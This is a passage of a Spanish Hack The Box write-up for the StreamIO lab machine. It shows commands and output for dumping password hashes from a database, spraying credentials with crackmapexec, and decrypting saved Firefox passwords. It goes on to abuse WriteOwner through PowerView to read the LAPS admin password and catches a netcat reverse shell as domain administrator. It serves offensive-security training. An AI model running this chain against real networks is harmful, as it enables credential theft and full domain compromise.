[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192[*] INFO(DC): Line 1: Changed database context to 'master'.
[*] INFO(DC): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208)[!] Press helpfor extra shell commands
SQL> select name from sys.databases
name
--------------------------------------------------------------------------------------------------------------------------------
master
tempdb
model
msdb
STREAMIO
streamio_backup
SQL>
Con este usuario logramos acceder a la base de datos streamio_backup, en esta encontramos nombres de usuarios y hashes de contraseñas.
Realizamos brute force con las contraseñas y usuarios encontrados a ldap, encontramos una combinación para el usuario nikk37.
1
2
3
4
π ~/htb/streamio/db ❯ crackmapexec ldap streamio.htb -u users.txt -p pass.txt
SMB streamio.htb 445 DC [*] Windows 10.0 Build 17763 x64 (name:DC)(domain:streamIO.htb)(signing:True)(SMBv1:False)LDAP streamio.htb 389 DC [+] streamIO.htb\nikk37:get_dem_girls2@yahoo.com
π ~/htb/streamio/db ❯
Bloodhound
Utilizamos bloodhound.py para obtener información del AD con las credenciales encontradas.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
π ~/htb/streamio/db ❯ /opt/BloodHound.py/bloodhound.py -u nikk37 -p "get_dem_girls2@yahoo.com" -d streamio.htb -ns 10.10.11.158 -c all --zip
INFO: Found AD domain: streamio.htb
INFO: Connecting to LDAP server: dc.streamio.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc.streamio.htb
INFO: Found 8 users
INFO: Connecting to GC LDAP server: dc.streamio.htb
INFO: Found 54 groups
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC.streamIO.htb
INFO: Done in 00M 13S
INFO: Compressing output into 20220706182038_bloodhound.zip
π ~/htb/streamio/db ❯
Luego de importar el zip a bloodhound encontramos (query: ‘Shortes Path from Owned Principal’) que el usuario nikk37 puede crear una sesion de Powershell.
Shell
Bloodhound nos muestra los comandos necesarios para obtener una sesion, en este caso ejecutar comandos con Invoke-Command similar a Arkham - HTB. Como se observa logramos ejecutar whoami como nikk37.
PS C:\users\nikk37\documents> dir $env:APPDATA
Directory: C:\Users\nikk37\AppData\Roaming
Mode LastWriteTime Length Name
---- ------------- ------ ----
d---s- 7/6/2022 11:10 PM Microsoft
d----- 2/22/2022 2:40 AM Mozilla
PS C:\users\nikk37\documents> dir $env:APPDATA/Mozilla/Firefox/Profiles
Directory: C:\Users\nikk37\AppData\Roaming\Mozilla\Firefox\Profiles
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 2/22/2022 2:40 AM 5rwivk2l.default
d----- 2/22/2022 2:42 AM br53rxeg.default-release
PS C:\users\nikk37\documents>
Firefox Decrypt
Copiamos los archivos: cert9.db, cookies.sqlite, key4.db y login.json (ref. 1), ejecutamos Firefox Decrypt en la carpeta, se listan usuarios y contraseñas.
π ~/htb/streamio/firefox ❯ /opt/firefox_decrypt/firefox_decrypt.py .
2022-07-06 21:07:23,444 - WARNING - profile.ini not found in .
2022-07-06 21:07:23,445 - WARNING - Continuing and assuming '.' is a profile location
Website: https://slack.streamio.htb
Username: 'admin'Password: 'JDg0dd1s@d0p3cr3@t0r'Website: https://slack.streamio.htb
Username: 'nikk37'Password: 'n1kk1sd0p3t00:)'Website: https://slack.streamio.htb
Username: 'yoshihide'Password: 'paddpadd@12'Website: https://slack.streamio.htb
Username: 'JDgodd'Password: 'password@12' π ~/htb/streamio/www/firefox ❯
Crackmapexec - LDAP
Tras ejecutar crackmapexec en ldap, encontramos al usuario JDgodd con una combinación válida.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
π ~/htb/streamio/firefox ❯ crackmapexec ldap streamio.htb -u users.txt -p pass.txt
SMB streamio.htb 445 DC [*] Windows 10.0 Build 17763 x64 (name:DC)(domain:streamIO.htb)(signing:True)(SMBv1:False)SMB streamio.htb 445 DC [-] streamIO.htb\admin:JDg0dd1s@d0p3cr3@t0r
SMB streamio.htb 445 DC [-] streamIO.htb\admin:n1kk1sd0p3t00:)SMB streamio.htb 445 DC [-] streamIO.htb\admin:paddpadd@12
SMB streamio.htb 445 DC [-] streamIO.htb\admin:password@12
SMB streamio.htb 445 DC [-] streamIO.htb\nikk37:JDg0dd1s@d0p3cr3@t0r
SMB streamio.htb 445 DC [-] streamIO.htb\nikk37:n1kk1sd0p3t00:)SMB streamio.htb 445 DC [-] streamIO.htb\nikk37:paddpadd@12
SMB streamio.htb 445 DC [-] streamIO.htb\nikk37:password@12
SMB streamio.htb 445 DC [-] streamIO.htb\yoshihide:JDg0dd1s@d0p3cr3@t0r
SMB streamio.htb 445 DC [-] streamIO.htb\yoshihide:n1kk1sd0p3t00:)SMB streamio.htb 445 DC [-] streamIO.htb\yoshihide:paddpadd@12
SMB streamio.htb 445 DC [-] streamIO.htb\yoshihide:password@12
LDAP streamio.htb 389 DC [+] streamIO.htb\JDgodd:JDg0dd1s@d0p3cr3@t0r
π ~/htb/streamio/firefox ❯
Privesc
Bloodhound nos muestra (query: ‘Shortes Path from Owned Principal’) que JDgodd tiene WriteOwner sobre el grupo Core Staff, este ultimo puede leer las contraseñas en LAPS de DC.STREAMIO.HTB.
Write Owner
Para explotar o abusar de “Write Owner” necesitamos PowerView, Bloodhound provee la información y comandos necesarios (ver Abuse Info) aunque tambien nos referimos al post de WriteOwner Exploit.
1
2
3
4
5
6
7
8
9
10
11
# cred$SecPassword= ConvertTo-SecureString 'JDg0dd1s@d0p3cr3@t0r' -AsPlainText -Force
$Cred= New-Object System.Management.Automation.PSCredential('JDgodd', $SecPassword)# set Jdgodd as owner of 'core staff'Set-DomainObjectOwner -Credential $Cred -identity "CORE STAFF" -OwnerIdentity JDgodd
# give jdgodd permissions Add-DomainObjectAcl -Credential $Cred -TargetIdentity "CORE STAFF" -PrincipalIdentity JDgodd
# add to groupAdd-DomainGroupMember -Identity 'CORE STAFF' -Members 'JDgodd' -Credential $Cred# verify if group has jdgoddGet-DomainGroupMember -Identity 'CORE STAFF'
Tras ejecutar los comandos vemos que JDgodd es miembro del grupo Core Staff.
Como sabemos el grupo ‘Core Staff’ puede leer la contraseña de LAPS, ejecutamos Get-DomainObject como lo muestra Bloodhound para obtener las contraseñas de LAPS.
1
2
3
4
5
6
7
8
PS C:\Users\nikk37\Documents> Get-DomainObject DC.STREAMIO.HTB -Credential $Cred -Properties "ms-mcs-AdmPwd",name
name ms-mcs-admpwd
---- -------------
DC 035.1PDHS6dx99
PS C:\Users\nikk37\Documents>
Observamos que la contraseña es del administrador.
1
2
3
4
π ~/htb/streamio ❯ crackmapexec ldap streamio.htb -u administrator -p '035.1PDHS6dx99'SMB streamio.htb 445 DC [*] Windows 10.0 Build 17763 x64 (name:DC)(domain:streamIO.htb)(signing:True)(SMBv1:False)LDAP streamio.htb 389 DC [+] streamIO.htb\administrator:035.1PDHS6dx99 (Pwn3d!) π ~/htb/streamio ❯
Shell
Utilizando una sesion de powershell igual que con nikk37, logramos ejecutar comandos como administrador.
π ~/htb/streamio ❯ rlwrap nc -lvp 1337listening on [any]1337 ...
connect to [10.10.14.207] from streamio.htb [10.10.11.158]62454Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\Users\Administrator\Documents> whoami
streamio\administrator
PS C:\Users\Administrator\Documents>
Finalmente nuestra flag root.txt en el directorio de Martin.